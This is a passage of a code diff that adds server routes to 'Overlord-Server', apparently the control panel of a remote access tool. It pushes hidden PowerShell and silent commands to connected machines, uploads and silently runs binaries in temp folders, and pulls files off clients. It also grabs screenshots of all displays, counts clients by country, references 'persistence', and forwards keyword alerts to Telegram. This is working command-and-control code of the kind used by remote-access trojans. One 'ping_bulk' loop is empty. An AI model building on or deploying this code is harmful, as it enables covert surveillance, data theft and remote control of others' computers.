+ const { generateThumbnail, markThumbnailRequested } = await import("../../thumbnails");
+ markThumbnailRequested(clientId);
+ const target = clientManager.getClient(clientId);
+ if (target?.online) {
+ const commandId = uuidv4();
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "screenshot",
+ id: commandId,
+ payload: { mode: "notification", allDisplays: true },
+ }),
+ );
+ metrics.recordCommand("screenshot");
+ }
+ const success = generateThumbnail(clientId);
+ return Response.json({ ok: true, updated: success }, { headers: deps.CORS_HEADERS });
+ }
+
+ if (req.method === "POST") {
+ const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/);
+ if (cmdMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) return new Response("Unauthorized", { status: 401 });
+
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ const targetId = cmdMatch[1];
+ const target = clientManager.getClient(targetId);
+ const ip = server.requestIP(req)?.address || "unknown";
+
+ if (!target) return new Response("Not found", { status: 404 });
+ try {
+ const body = await req.json();
+ const action = body?.action;
+
+ let success = true;
+ if (action === "ping") {
+ const nonce = Date.now() + Math.floor(Math.random() * 1000);
+ target.lastPingSent = Date.now();
+ target.lastPingNonce = nonce;
+ target.ws.send(encodeMessage({ type: "ping", ts: nonce }));
+ } else if (action === "ping_bulk") {
+ const count = Math.max(1, Math.min(1000, Number(body?.count || 1)));
+ for (let i = 0; i < count; i++) {
+ }
+ } else if (action === "disconnect") {
+ target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() }));
+ metrics.recordCommand("disconnect");
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip,
+ action: AuditAction.DISCONNECT,
+ targetClientId: targetId,
+ success: true,
+ });
+ } else if (action === "reconnect") {
+ target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() }));
+ metrics.recordCommand("reconnect");
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip,
+ action: AuditAction.RECONNECT,
+ targetClientId: targetId,
+ success: true,
+ });
+ } else if (action === "screenshot") {
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "screenshot",
+ id: uuidv4(),
+ payload: { mode: "notification", allDisplays: true },
+ }),
+ );
+ metrics.recordCommand("screenshot");
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip,
+ action: AuditAction.SCREENSHOT,
+ targetClientId: targetId,
+ success: true,
+ });
+ } else if (action === "desktop_start") {
+ target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() }));
+ metrics.recordCommand("desktop_start");
+ } else if (action === "script_exec") {
+ const scriptContent = body?.script || "";
+ const scriptType = body?.scriptType || "powershell";
+ const cmdId = uuidv4();
+
+ const resultPromise = new Promise((resolve, reject) => {
+ const timeout = setTimeout(() => {
+ deps.pendingScripts.delete(cmdId);
+ reject(new Error("Script execution timed out after 5 minutes"));
+ }, 5 * 60 * 1000);
+
+ deps.pendingScripts.set(cmdId, { resolve, reject, timeout });
+ });
+
+ target.ws.send(encodeMessage({
+ type: "command",
+ commandType: "script_exec",
+ id: cmdId,
+ payload: { script: scriptContent, type: scriptType },
+ }));
+
+ metrics.recordCommand("script_exec");
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip,
+ action: AuditAction.SCRIPT_EXECUTE,
+ targetClientId: targetId,
+ success: true,
+ details: `script_exec (${scriptType})`,
+ });
+
+ try {
+ const result = await resultPromise;
+ return Response.json(result);
+ } catch (error: any) {
+ return Response.json({ ok: false, error: error.message }, { status: 500 });
+ }
+ } else if (action === "silent_exec") {
+ if (user.role !== "admin") {
+ return new Response("Forbidden: Admin access required", { status: 403 });
+ }
+
+ const command = typeof body?.command === "string" ? body.command.trim() : "";
+ const args = typeof body?.args === "string" ? body.args : "";
+ const cwd = typeof body?.cwd === "string" ? body.cwd : "";
+
+ if (!command) {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const cmdId = uuidv4();
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "silent_exec",
+ id: cmdId,
+ payload: { command, args, cwd },
+ }),
+ );
+ metrics.recordCommand("silent_exec");
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip,
+ action: AuditAction.SILENT_EXECUTE,
+ targetClientId: targetId,
+ success: true,
+ details: JSON.stringify({ command, args, cwd }),
+ });
+ } else if (action === "uninstall") {
+ target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() }));
+ metrics.recordCommand("uninstall");
+ deleteClientRow(targetId);
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip,
+ action: AuditAction.UNINSTALL,
+ targetClientId: targetId,
+ details: "Agent uninstall requested - persistence will be removed",
+ success: true,
+ });
+ } else {
+ success = false;
+ return new Response("Bad request", { status: 400 });
+ }
+
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip,
+ action: AuditAction.COMMAND,
+ targetClientId: targetId,
+ details: action,
+ success,
+ });
+
+ return Response.json({ ok: true });
+ } catch (error) {
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip,
+ action: AuditAction.COMMAND,
+ targetClientId: targetId,
+ success: false,
+ errorMessage: String(error),
+ });
+ return new Response("Bad request", { status: 400 });
+ }
+ }
+ }
+
+ return null;
+}
diff --git a/Overlord-Server/src/server/routes/deploy-routes.ts b/Overlord-Server/src/server/routes/deploy-routes.ts
new file mode 100644
index 0000000..22ff4cf
--- /dev/null
+++ b/Overlord-Server/src/server/routes/deploy-routes.ts
@@ -0,0 +1,328 @@
+import fs from "fs/promises";
+import path from "path";
+import { v4 as uuidv4 } from "uuid";
+import { authenticateRequest } from "../../auth";
+import { AuditAction, logAudit } from "../../auditLog";
+import * as clientManager from "../../clientManager";
+import { metrics } from "../../metrics";
+import { encodeMessage } from "../../protocol";
+
+type RequestIpProvider = {
+ requestIP: (req: Request) => { address?: string } | null | undefined;
+};
+
+type DeployOs = "windows" | "mac" | "linux" | "unix" | "unknown";
+type DeployUpload = {
+ id: string;
+ path: string;
+ name: string;
+ size: number;
+ os: DeployOs;
+};
+
+type DeployRouteDeps = {
+ DEPLOY_ROOT: string;
+ deployUploads: Map;
+ detectUploadOs: (filename: string, bytes: Uint8Array) => DeployOs;
+ normalizeClientOs: (os?: string) => DeployOs;
+};
+
+export async function handleDeployRoutes(
+ req: Request,
+ url: URL,
+ server: RequestIpProvider,
+ deps: DeployRouteDeps,
+): Promise {
+ if (!url.pathname.startsWith("/api/deploy")) {
+ return null;
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/deploy/upload") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ if (user.role !== "admin") {
+ return new Response("Forbidden: Admin access required", { status: 403 });
+ }
+
+ let form: FormData;
+ try {
+ form = await req.formData();
+ } catch {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const file = form.get("file");
+ if (!(file instanceof File)) {
+ return new Response("Missing file", { status: 400 });
+ }
+
+ const filename = path.basename(file.name || "upload.bin");
+ const id = uuidv4();
+ await fs.mkdir(deps.DEPLOY_ROOT, { recursive: true });
+ const folder = path.join(deps.DEPLOY_ROOT, id);
+ await fs.mkdir(folder, { recursive: true });
+ const targetPath = path.join(folder, filename);
+ const bytes = new Uint8Array(await file.arrayBuffer());
+ await fs.writeFile(targetPath, bytes);
+
+ const os = deps.detectUploadOs(filename, bytes);
+ const entry: DeployUpload = {
+ id,
+ path: targetPath,
+ name: filename,
+ size: bytes.length,
+ os,
+ };
+ deps.deployUploads.set(id, entry);
+
+ return Response.json({ ok: true, uploadId: id, os, name: filename, size: bytes.length });
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/deploy/run") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ if (user.role !== "admin") {
+ return new Response("Forbidden: Admin access required", { status: 403 });
+ }
+
+ let body: any = {};
+ try {
+ body = await req.json();
+ } catch {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
+ const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
+ const args = typeof body?.args === "string" ? body.args : "";
+ const hideWindow = body?.hideWindow !== false;
+ if (!uploadId || clientIds.length === 0) {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const upload = deps.deployUploads.get(uploadId);
+ if (!upload) {
+ return new Response("Not found", { status: 404 });
+ }
+
+ const bytes = new Uint8Array(await fs.readFile(upload.path));
+ const chunkSize = 256 * 1024;
+ const results: Array<{ clientId: string; ok: boolean; reason?: string; command?: string }> = [];
+
+ const formatCommandDisplay = (commandPath: string, commandArgs: string) => {
+ const trimmedArgs = commandArgs.trim();
+ const needsQuotes = commandPath.includes(" ");
+ const displayCommand = needsQuotes ? `"${commandPath}"` : commandPath;
+ if (!trimmedArgs) {
+ return displayCommand;
+ }
+ return `${displayCommand} ${trimmedArgs}`;
+ };
+
+ for (const clientId of clientIds) {
+ const target = clientManager.getClient(clientId);
+ if (!target) {
+ results.push({ clientId, ok: false, reason: "offline" });
+ continue;
+ }
+
+ const clientOs = deps.normalizeClientOs(target.os);
+ const osMismatch =
+ upload.os !== "unknown" &&
+ !(
+ upload.os === clientOs ||
+ (upload.os === "unix" && (clientOs === "linux" || clientOs === "mac"))
+ );
+ if (osMismatch) {
+ results.push({ clientId, ok: false, reason: "os_mismatch" });
+ continue;
+ }
+
+ const dir = clientOs === "windows"
+ ? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
+ : `/tmp/overlord/${upload.id}`;
+ const destPath = clientOs === "windows"
+ ? `${dir}\\${upload.name}`
+ : `${dir}/${upload.name}`;
+
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "file_mkdir",
+ id: uuidv4(),
+ payload: { path: dir },
+ }),
+ );
+
+ for (let offset = 0; offset < bytes.length; offset += chunkSize) {
+ const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length));
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "file_upload",
+ id: uuidv4(),
+ payload: { path: destPath, data: chunk, offset, total: bytes.length },
+ }),
+ );
+ }
+
+ if (clientOs !== "windows") {
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "file_chmod",
+ id: uuidv4(),
+ payload: { path: destPath, mode: "0755" },
+ }),
+ );
+ }
+
+ const displayCommand = formatCommandDisplay(destPath, args);
+
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "silent_exec",
+ id: uuidv4(),
+ payload: { command: destPath, args, hideWindow },
+ }),
+ );
+
+ metrics.recordCommand("silent_exec");
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip: server.requestIP(req)?.address || "unknown",
+ action: AuditAction.SILENT_EXECUTE,
+ targetClientId: clientId,
+ success: true,
+ details: JSON.stringify({ uploadId, command: destPath, args }),
+ });
+
+ results.push({ clientId, ok: true, command: displayCommand });
+ }
+
+ return Response.json({ ok: true, results });
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/deploy/update") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ if (user.role !== "admin") {
+ return new Response("Forbidden: Admin access required", { status: 403 });
+ }
+
+ let body: any = {};
+ try {
+ body = await req.json();
+ } catch {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
+ const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
+ if (!uploadId || clientIds.length === 0) {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const upload = deps.deployUploads.get(uploadId);
+ if (!upload) {
+ return new Response("Not found", { status: 404 });
+ }
+
+ const bytes = new Uint8Array(await fs.readFile(upload.path));
+ const chunkSize = 256 * 1024;
+ const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
+
+ for (const clientId of clientIds) {
+ const target = clientManager.getClient(clientId);
+ if (!target) {
+ results.push({ clientId, ok: false, reason: "offline" });
+ continue;
+ }
+
+ const clientOs = deps.normalizeClientOs(target.os);
+ const osMismatch =
+ upload.os !== "unknown" &&
+ !(
+ upload.os === clientOs ||
+ (upload.os === "unix" && (clientOs === "linux" || clientOs === "mac"))
+ );
+ if (osMismatch) {
+ results.push({ clientId, ok: false, reason: "os_mismatch" });
+ continue;
+ }
+
+ const dir = clientOs === "windows"
+ ? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
+ : `/tmp/overlord/${upload.id}`;
+ const destPath = clientOs === "windows"
+ ? `${dir}\\${upload.name}`
+ : `${dir}/${upload.name}`;
+
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "file_mkdir",
+ id: uuidv4(),
+ payload: { path: dir },
+ }),
+ );
+
+ for (let offset = 0; offset < bytes.length; offset += chunkSize) {
+ const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length));
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "file_upload",
+ id: uuidv4(),
+ payload: { path: destPath, data: chunk, offset, total: bytes.length },
+ }),
+ );
+ }
+
+ if (clientOs !== "windows") {
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "file_chmod",
+ id: uuidv4(),
+ payload: { path: destPath, mode: "0755" },
+ }),
+ );
+ }
+
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "agent_update",
+ id: uuidv4(),
+ payload: { path: destPath },
+ }),
+ );
+
+ metrics.recordCommand("agent_update");
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip: server.requestIP(req)?.address || "unknown",
+ action: AuditAction.AGENT_UPDATE,
+ targetClientId: clientId,
+ success: true,
+ details: JSON.stringify({ uploadId, path: destPath }),
+ });
+
+ results.push({ clientId, ok: true });
+ }
+
+ return Response.json({ ok: true, results });
+ }
+
+ return null;
+}
diff --git a/Overlord-Server/src/server/routes/file-download-routes.ts b/Overlord-Server/src/server/routes/file-download-routes.ts
new file mode 100644
index 0000000..70d992e
--- /dev/null
+++ b/Overlord-Server/src/server/routes/file-download-routes.ts
@@ -0,0 +1,270 @@
+import fs from "fs/promises";
+import path from "path";
+import { v4 as uuidv4 } from "uuid";
+import { authenticateRequest } from "../../auth";
+import { AuditAction, logAudit } from "../../auditLog";
+import * as clientManager from "../../clientManager";
+import { logger } from "../../logger";
+import { encodeMessage } from "../../protocol";
+
+type RequestIpProvider = {
+ requestIP: (req: Request) => { address?: string } | null | undefined;
+};
+
+type PendingHttpDownload = {
+ commandId: string;
+ clientId: string;
+ path: string;
+ fileName: string;
+ total: number;
+ receivedBytes: number;
+ receivedOffsets: Set;
+ receivedChunks: Set;
+ chunkSize: number;
+ expectedChunks: number;
+ loggedTotal?: boolean;
+ loggedFirstChunk?: boolean;
+ tmpPath: string;
+ fileHandle: any;
+ resolve: (entry: PendingHttpDownload) => void;
+ reject: (error: Error) => void;
+ timeout: ReturnType;
+};
+
+type DownloadIntent = {
+ id: string;
+ userId: string;
+ clientId: string;
+ path: string;
+ expiresAt: number;
+ timeout: ReturnType;
+};
+
+type FileDownloadRouteDeps = {
+ DATA_DIR: string;
+ secureHeaders: (contentType?: string) => Record;
+ sanitizeOutputName: (name: string) => string;
+ pendingHttpDownloads: Map;
+ downloadIntents: Map;
+};
+
+export async function handleFileDownloadRoutes(
+ req: Request,
+ url: URL,
+ server: RequestIpProvider,
+ deps: FileDownloadRouteDeps,
+): Promise {
+ if (!url.pathname.startsWith("/api/file/download")) {
+ return null;
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/file/download") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ if (user.role !== "admin" && user.role !== "operator") {
+ return new Response("Forbidden: Admin or operator access required", { status: 403 });
+ }
+
+ let body: any = {};
+ try {
+ body = await req.json();
+ } catch {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const downloadId = typeof body?.downloadId === "string" ? body.downloadId : "";
+ logger.debug("[filebrowser] http download request", {
+ downloadId,
+ userId: user.userId,
+ ip: server.requestIP(req)?.address || "unknown",
+ });
+ if (!downloadId) {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const intent = deps.downloadIntents.get(downloadId);
+ if (!intent || intent.userId !== user.userId || intent.expiresAt < Date.now()) {
+ logger.debug("[filebrowser] http download intent missing", {
+ downloadId,
+ userId: user.userId,
+ intentUserId: intent?.userId,
+ expiresAt: intent?.expiresAt,
+ });
+ return new Response("Not found", { status: 404 });
+ }
+
+ deps.downloadIntents.delete(downloadId);
+ clearTimeout(intent.timeout);
+
+ const clientId = intent.clientId;
+ const downloadPath = intent.path;
+
+ const target = clientManager.getClient(clientId);
+ if (!target) {
+ logger.debug("[filebrowser] http download target offline", {
+ downloadId,
+ clientId,
+ });
+ return new Response("Client offline", { status: 404 });
+ }
+
+ const commandId = uuidv4();
+ const downloadDir = path.join(deps.DATA_DIR, "downloads");
+ await fs.mkdir(downloadDir, { recursive: true });
+ const tmpPath = path.join(downloadDir, `${commandId}.bin`);
+
+ let fileName = path.basename(downloadPath) || "download.bin";
+ try {
+ fileName = deps.sanitizeOutputName(fileName);
+ } catch {
+ fileName = "download.bin";
+ }
+
+ const fileHandle = await fs.open(tmpPath, "w+");
+
+ logger.debug("[filebrowser] http download start", {
+ commandId,
+ clientId,
+ path: downloadPath,
+ tmpPath,
+ });
+
+ const downloadPromise = new Promise((resolve, reject) => {
+ const timeout = setTimeout(() => {
+ deps.pendingHttpDownloads.delete(commandId);
+ void fileHandle.close();
+ void fs.unlink(tmpPath).catch(() => {});
+ reject(new Error("Download timed out"));
+ }, 5 * 60_000);
+
+ deps.pendingHttpDownloads.set(commandId, {
+ commandId,
+ clientId,
+ path: downloadPath,
+ fileName,
+ total: 0,
+ receivedBytes: 0,
+ receivedOffsets: new Set(),
+ receivedChunks: new Set(),
+ chunkSize: 0,
+ expectedChunks: 0,
+ loggedTotal: false,
+ loggedFirstChunk: false,
+ tmpPath,
+ fileHandle,
+ resolve,
+ reject,
+ timeout,
+ });
+ });
+
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "file_download",
+ id: commandId,
+ payload: { path: downloadPath },
+ }),
+ );
+
+ logger.debug("[filebrowser] http download command sent", {
+ commandId,
+ clientId,
+ path: downloadPath,
+ });
+
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip: server.requestIP(req)?.address || "unknown",
+ action: AuditAction.FILE_DOWNLOAD,
+ targetClientId: clientId,
+ details: JSON.stringify({ path: downloadPath, via: "http" }),
+ success: true,
+ });
+
+ let completed: PendingHttpDownload;
+ try {
+ completed = await downloadPromise;
+ } catch (err) {
+ logger.debug("[filebrowser] http download failed", {
+ commandId,
+ clientId,
+ path: downloadPath,
+ error: (err as Error)?.message || String(err),
+ });
+ return new Response((err as Error).message || "Download failed", { status: 500 });
+ }
+
+ logger.debug("[filebrowser] http download complete", {
+ commandId,
+ clientId,
+ path: downloadPath,
+ total: completed.total,
+ receivedBytes: completed.receivedBytes,
+ expectedChunks: completed.expectedChunks,
+ receivedChunks: completed.receivedChunks.size,
+ });
+
+ const headers = {
+ ...deps.secureHeaders("application/octet-stream"),
+ "Content-Disposition": `attachment; filename="${completed.fileName}"`,
+ "Cache-Control": "no-store",
+ };
+
+ setTimeout(() => {
+ void fs.unlink(completed.tmpPath).catch(() => {});
+ }, 5 * 60_000);
+
+ return new Response(Bun.file(completed.tmpPath), { headers });
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/file/download/request") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ if (user.role !== "admin" && user.role !== "operator") {
+ return new Response("Forbidden: Admin or operator access required", { status: 403 });
+ }
+
+ let body: any = {};
+ try {
+ body = await req.json();
+ } catch {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const clientId = typeof body?.clientId === "string" ? body.clientId : "";
+ const downloadPath = typeof body?.path === "string" ? body.path : "";
+ if (!clientId || !downloadPath) {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const target = clientManager.getClient(clientId);
+ if (!target) {
+ return new Response("Client offline", { status: 404 });
+ }
+
+ const downloadId = uuidv4();
+ const expiresAt = Date.now() + 2 * 60_000;
+ const timeout = setTimeout(() => {
+ deps.downloadIntents.delete(downloadId);
+ }, 2 * 60_000);
+
+ deps.downloadIntents.set(downloadId, {
+ id: downloadId,
+ userId: user.userId,
+ clientId,
+ path: downloadPath,
+ expiresAt,
+ timeout,
+ });
+
+ return Response.json({ ok: true, downloadId });
+ }
+
+ return null;
+}
diff --git a/Overlord-Server/src/server/routes/misc-routes.ts b/Overlord-Server/src/server/routes/misc-routes.ts
new file mode 100644
index 0000000..92fe671
--- /dev/null
+++ b/Overlord-Server/src/server/routes/misc-routes.ts
@@ -0,0 +1,138 @@
+import { authenticateRequest } from "../../auth";
+import * as clientManager from "../../clientManager";
+import { getAuditLogs } from "../../auditLog";
+import { listClients } from "../../db";
+import { logger } from "../../logger";
+import { metrics } from "../../metrics";
+import { requirePermission } from "../../rbac";
+
+type MiscRouteDeps = {
+ CORS_HEADERS: Record;
+ SERVER_VERSION: string;
+ getConsoleSessionCount: () => number;
+ getRdSessionCount: () => number;
+ getFileBrowserSessionCount: () => number;
+ getProcessSessionCount: () => number;
+};
+
+export async function handleMiscRoutes(
+ req: Request,
+ url: URL,
+ deps: MiscRouteDeps,
+): Promise {
+ if (req.method === "GET" && url.pathname === "/api/metrics") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response(JSON.stringify({ error: "Not authenticated" }), {
+ status: 401,
+ headers: { "Content-Type": "application/json" },
+ });
+ }
+
+ const snapshot = metrics.getSnapshot();
+
+ const clientList = listClients({ page: 1, pageSize: 10000, search: "", sort: "last_seen_desc" });
+ logger.debug(
+ `[metrics] Database reports: total=${clientList.total}, online=${clientList.online}, items=${clientList.items.length}`,
+ );
+ logger.debug(`[metrics] In-memory clients map size: ${clientManager.getClientCount()}`);
+
+ snapshot.clients.total = clientList.total;
+ snapshot.clients.online = clientList.online;
+ snapshot.clients.offline = clientList.total - clientList.online;
+
+ const byOS: Record = {};
+ const byCountry: Record = {};
+ const byOSOnline: Record = {};
+ const byCountryOnline: Record = {};
+ let onlineCounted = 0;
+ const totalItems = clientList.items.length;
+ for (const item of clientList.items) {
+ if (item.os) {
+ byOS[item.os] = (byOS[item.os] || 0) + 1;
+ }
+ if (item.country) {
+ byCountry[item.country] = (byCountry[item.country] || 0) + 1;
+ }
+ if (!item.online) continue;
+ onlineCounted++;
+ if (item.os) {
+ byOSOnline[item.os] = (byOSOnline[item.os] || 0) + 1;
+ }
+ if (item.country) {
+ byCountryOnline[item.country] = (byCountryOnline[item.country] || 0) + 1;
+ }
+ }
+ snapshot.clients.byOS = byOS;
+ snapshot.clients.byCountry = byCountry;
+
+ snapshot.sessions.console = deps.getConsoleSessionCount();
+ snapshot.sessions.remoteDesktop = deps.getRdSessionCount();
+ snapshot.sessions.fileBrowser = deps.getFileBrowserSessionCount();
+ snapshot.sessions.process = deps.getProcessSessionCount();
+
+ metrics.recordHistoryEntry(snapshot);
+
+ const history = metrics.getHistory();
+
+ return new Response(JSON.stringify({ snapshot, history }), {
+ headers: { "Content-Type": "application/json" },
+ });
+ }
+
+ if (url.pathname === "/health") {
+ return new Response("ok", { headers: deps.CORS_HEADERS });
+ }
+
+ if (req.method === "GET" && url.pathname === "/api/version") {
+ return new Response(JSON.stringify({ version: deps.SERVER_VERSION }), {
+ headers: {
+ ...deps.CORS_HEADERS,
+ "Content-Type": "application/json",
+ },
+ });
+ }
+
+ if (req.method === "GET" && url.pathname === "/api/audit-logs") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ try {
+ requirePermission(user, "audit:view");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ const page = Math.max(1, Number(url.searchParams.get("page") || 1));
+ const pageSize = Math.max(1, Math.min(100, Number(url.searchParams.get("pageSize") || 50)));
+ const targetClientId = (url.searchParams.get("clientId") || "").trim();
+ const action = (url.searchParams.get("action") || "").trim();
+ const actionsRaw = (url.searchParams.get("actions") || "").trim();
+ const actions = actionsRaw
+ ? actionsRaw
+ .split(",")
+ .map((entry) => entry.trim())
+ .filter(Boolean)
+ : undefined;
+ const startDate = Number(url.searchParams.get("startDate") || 0) || undefined;
+ const endDate = Number(url.searchParams.get("endDate") || 0) || undefined;
+ const successOnly = url.searchParams.get("successOnly") === "true";
+
+ const result = getAuditLogs({
+ page,
+ pageSize,
+ targetClientId: targetClientId || undefined,
+ action: action || undefined,
+ actions,
+ startDate,
+ endDate,
+ successOnly,
+ });
+
+ return Response.json(result, { headers: deps.CORS_HEADERS });
+ }
+
+ return null;
+}
diff --git a/Overlord-Server/src/server/routes/notifications-config-routes.ts b/Overlord-Server/src/server/routes/notifications-config-routes.ts
new file mode 100644
index 0000000..b9c3b4d
--- /dev/null
+++ b/Overlord-Server/src/server/routes/notifications-config-routes.ts
@@ -0,0 +1,164 @@
+import { authenticateRequest } from "../../auth";
+import { AuditAction, logAudit } from "../../auditLog";
+import * as clientManager from "../../clientManager";
+import { getConfig, updateNotificationsConfig } from "../../config";
+import { encodeMessage } from "../../protocol";
+
+type RequestIpProvider = {
+ requestIP: (req: Request) => { address?: string } | null | undefined;
+};
+
+type NotificationsRouteDeps = {
+ getNotificationScreenshot: (notificationId: string) => { format?: string; bytes: Uint8Array } | null;
+ secureHeaders: (contentType?: string) => HeadersInit;
+};
+
+export async function handleNotificationsConfigRoutes(
+ req: Request,
+ url: URL,
+ server: RequestIpProvider,
+ deps: NotificationsRouteDeps,
+): Promise {
+ const screenshotMatch = url.pathname.match(/^\/api\/notifications\/([^/]+)\/screenshot$/);
+ if (req.method === "GET" && screenshotMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response(JSON.stringify({ error: "Not authenticated" }), {
+ status: 401,
+ headers: { "Content-Type": "application/json" },
+ });
+ }
+ const notificationId = decodeURIComponent(screenshotMatch[1]);
+ const screenshot = deps.getNotificationScreenshot(notificationId);
+ if (!screenshot) {
+ return new Response("Not found", { status: 404 });
+ }
+
+ const format = (screenshot.format || "jpeg").toLowerCase();
+ const contentType = format === "jpg" || format === "jpeg"
+ ? "image/jpeg"
+ : format === "png"
+ ? "image/png"
+ : format === "webp"
+ ? "image/webp"
+ : "application/octet-stream";
+
+ return new Response(screenshot.bytes as unknown as BodyInit, {
+ headers: deps.secureHeaders(contentType),
+ });
+ }
+
+ if (req.method === "GET" && url.pathname === "/api/notifications/config") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response(JSON.stringify({ error: "Not authenticated" }), {
+ status: 401,
+ headers: { "Content-Type": "application/json" },
+ });
+ }
+ if (user.role === "viewer") {
+ return new Response("Forbidden: Viewer access denied", { status: 403 });
+ }
+ return Response.json({ notifications: getConfig().notifications });
+ }
+
+ if (req.method === "PUT" && url.pathname === "/api/notifications/config") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response(JSON.stringify({ error: "Not authenticated" }), {
+ status: 401,
+ headers: { "Content-Type": "application/json" },
+ });
+ }
+ if (user.role !== "admin" && user.role !== "operator") {
+ return new Response("Forbidden: Admin or operator access required", {
+ status: 403,
+ });
+ }
+
+ let body: any = {};
+ try {
+ body = await req.json();
+ } catch {
+ return Response.json({ error: "Invalid JSON" }, { status: 400 });
+ }
+
+ const currentConfig = getConfig().notifications;
+ const hasKeywords = Array.isArray(body?.keywords);
+ const rawKeywords = hasKeywords ? body.keywords : currentConfig.keywords || [];
+ const keywords = rawKeywords
+ .map((k: any) => String(k).trim())
+ .filter(Boolean)
+ .slice(0, 200);
+
+ const webhookEnabled =
+ typeof body?.webhookEnabled === "boolean"
+ ? body.webhookEnabled
+ : currentConfig.webhookEnabled;
+ const webhookUrl =
+ typeof body?.webhookUrl === "string"
+ ? body.webhookUrl.trim()
+ : currentConfig.webhookUrl || "";
+ const telegramEnabled =
+ typeof body?.telegramEnabled === "boolean"
+ ? body.telegramEnabled
+ : currentConfig.telegramEnabled;
+ const telegramBotToken =
+ typeof body?.telegramBotToken === "string"
+ ? body.telegramBotToken.trim()
+ : currentConfig.telegramBotToken || "";
+ const telegramChatId =
+ typeof body?.telegramChatId === "string"
+ ? body.telegramChatId.trim()
+ : currentConfig.telegramChatId || "";
+
+ if (webhookUrl) {
+ try {
+ const parsed = new URL(webhookUrl);
+ if (!/^https?:$/.test(parsed.protocol)) {
+ return Response.json(
+ { error: "Webhook URL must be http(s)" },
+ { status: 400 },
+ );
+ }
+ } catch {
+ return Response.json({ error: "Invalid webhook URL" }, { status: 400 });
+ }
+ }
+
+ const updated = await updateNotificationsConfig({
+ keywords,
+ webhookEnabled,
+ webhookUrl,
+ telegramEnabled,
+ telegramBotToken,
+ telegramChatId,
+ });
+
+ for (const client of clientManager.getAllClients().values()) {
+ if (client.role !== "client") continue;
+ try {
+ client.ws.send(
+ encodeMessage({
+ type: "notification_config",
+ keywords: updated.keywords || [],
+ minIntervalMs: updated.minIntervalMs || 8000,
+ }),
+ );
+ } catch {}
+ }
+
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip: server.requestIP(req)?.address || "unknown",
+ action: AuditAction.COMMAND,
+ details: `Updated notification keywords (${updated.keywords.length})`,
+ success: true,
+ });
+
+ return Response.json({ ok: true, notifications: updated });
+ }
+
+ return null;
+}
